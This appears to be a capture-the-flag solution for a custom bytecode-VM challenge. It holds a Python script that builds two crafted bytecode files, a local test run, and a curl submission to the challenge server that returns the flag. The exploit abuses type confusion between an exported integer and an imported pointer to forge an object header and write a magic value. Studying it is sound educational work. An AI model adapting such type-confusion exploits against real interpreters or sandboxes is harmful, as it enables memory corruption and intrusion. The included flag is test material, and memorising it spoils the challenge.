Bhargav’s Challenge: The Bow Beyond the Bow

PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}

PINAKA-ASTRA-RELEASED PINAKA{...}

host gen1.pnk1 gen2.srng

arena[handle]       = length        (object header)
arena[handle + 1]   = data[0]
...
arena[handle + len] = data[len-1]

arena[0x7fc00] == 0x5348415247410001

printf("PINAKA-ASTRA-RELEASED %s\n", getenv("PINAKA_FLAG"));

A bytes              slot types, one byte per slot
B * 8 bytes          uint64 little-endian constants
C * 8 bytes          instruction records
D * 10 bytes         exports: 8-byte name + u16 slot

F bytes              type alphabet
G * 2 bytes          u16 indices into the alphabet, one per slot
H * 8 bytes          uint64 little-endian constants
I * 10 bytes         imports: 8-byte name + u16 slot
J * 8 bytes          instruction records

gen2 import "name" -> slot S
gen1 export "name" -> slot T
gen2_slots[S] = gen1_slots[T]
gen2_mask[S]  = 1

arena[0xFF7F + 1 + 0] = arena[0xFF80]

slots:   [ INT ]
types:   1
consts:  [ 0xFF7F ]
code:
  LDC slot0, const0
  HALT
exports:
  "ptr\0\0\0\0\0" -> slot0

alphabet: [ 1 (INT), 2 (PTR) ]
slots:    [ PTR import, PTR allocated, INT index, INT one, INT magic, INT zero ]
indices:  [ 1, 1, 0, 0, 0, 0 ]

consts:
  0: 0xFF3F
  1: 0xFF3E
  2: 1
  3: 0x5348415247410001
  4: 0

imports:
  "ptr\0\0\0\0\0" -> slot0

code:
  ALLOC slot1, const0                  # length 0xFF3F at handle 0x40
  LDC   slot2, const1                  # 0xFF3E
  LDC   slot3, const2                  # 1
  STORE base=slot1, index=slot2, val=slot3
                                       # arena[0xFF7F] = 1 (forged length)
  LDC   slot4, const3                  # ASTRA magic
  LDC   slot5, const4                  # 0
  STORE base=slot0, index=slot5, val=slot4
                                       # arena[0xFF80] = magic
  ASTRA
  HALT

#!/usr/bin/env python3
import struct


def pnk1(consts, instrs, types, exports):
    A, B, C, D = len(types), len(consts), len(instrs), len(exports)
    out = bytearray()
    out += b"PNK1" + struct.pack("<HHHHHH", 1, A, B, C, D, 0)
    out += types
    for c in consts:
        out += struct.pack("<Q", c & (2**64 - 1))
    for ins in instrs:
        assert len(ins) == 8
        out += ins
    for name, slot in exports:
        assert len(name) == 8
        out += name + struct.pack("<H", slot)
    return bytes(out)


def srng(alphabet, slot_types, consts, imports, instrs):
    F, G = len(alphabet), len(slot_types)
    H, I, J = len(consts), len(imports), len(instrs)
    out = bytearray()
    out += b"SRNG" + struct.pack("<HHHHHH", 2, F, G, H, I, J)
    out += alphabet
    for t in slot_types:
        out += struct.pack("<H", t)
    for c in consts:
        out += struct.pack("<Q", c & (2**64 - 1))
    for name, slot in imports:
        assert len(name) == 8
        out += name + struct.pack("<H", slot)
    for ins in instrs:
        assert len(ins) == 8
        out += ins
    return bytes(out)


# gen1: export INT 0xFF7F under the name "ptr"
g1_types = bytes([1])
g1_consts = [0xFF7F]
g1_instrs = [
    bytes([1, 0, 0, 0]) + struct.pack("<i", 0),  # LDC slot0, const0
    bytes(8),                                     # HALT
]
g1_exports = [(b"ptr\0\0\0\0\0", 0)]

open("exploit.pnk1", "wb").write(
    pnk1(g1_consts, g1_instrs, g1_types, g1_exports)
)

MAGIC = 0x5348415247410001

g2_alphabet = bytes([1, 2])            # 1 = INT, 2 = PTR
g2_slot_types = [1, 1, 0, 0, 0, 0]    # PTR, PTR, INT, INT, INT, INT
g2_consts = [0xFF3F, 0xFF3E, 1, MAGIC, 0]
g2_imports = [(b"ptr\0\0\0\0\0", 0)]

g2_instrs = [
    bytes([4, 1, 0, 0]) + struct.pack("<i", 0),  # ALLOC slot1, const0
    bytes([1, 2, 0, 0]) + struct.pack("<i", 1),  # LDC slot2, const1
    bytes([1, 3, 0, 0]) + struct.pack("<i", 2),  # LDC slot3, const2
    bytes([6, 1, 2, 3]) + struct.pack("<i", 0),  # forge header at 0xFF7F
    bytes([1, 4, 0, 0]) + struct.pack("<i", 3),  # LDC slot4, magic
    bytes([1, 5, 0, 0]) + struct.pack("<i", 4),  # LDC slot5, 0
    bytes([6, 0, 5, 4]) + struct.pack("<i", 0),  # write magic at 0xFF80
    bytes([8, 0, 0, 0]) + struct.pack("<i", 0),  # ASTRA
    bytes(8),                                     # HALT
]

open("exploit.srng", "wb").write(
    srng(g2_alphabet, g2_slot_types, g2_consts, g2_imports, g2_instrs)
)

print("wrote exploit.pnk1 and exploit.srng")

$ PINAKA_FLAG='PINAKA{test_flag_works}' ./host exploit.pnk1 exploit.srng
PINAKA-ASTRA-RELEASED PINAKA{test_flag_works}

python3 /tmp/opencode/make_bow.py
G1=$(base64 -w0 exploit.pnk1)
G2=$(base64 -w0 exploit.srng)

curl -sS -X POST \
  'https://pinaka-m06-bhargava-challenge.onrender.com/bhargava/string-the-bow' \
  -H 'Content-Type: application/json' \
  --data "{\"gen1_b64\":\"$G1\",\"gen2_b64\":\"$G2\"}"

{
  "flag": "PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}",
  "host_output": "PINAKA-ASTRA-RELEASED PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}",
  "proclamation": "Parashurama lowers the Sharnga: the bow is strung",
  "status": "astra-released"
}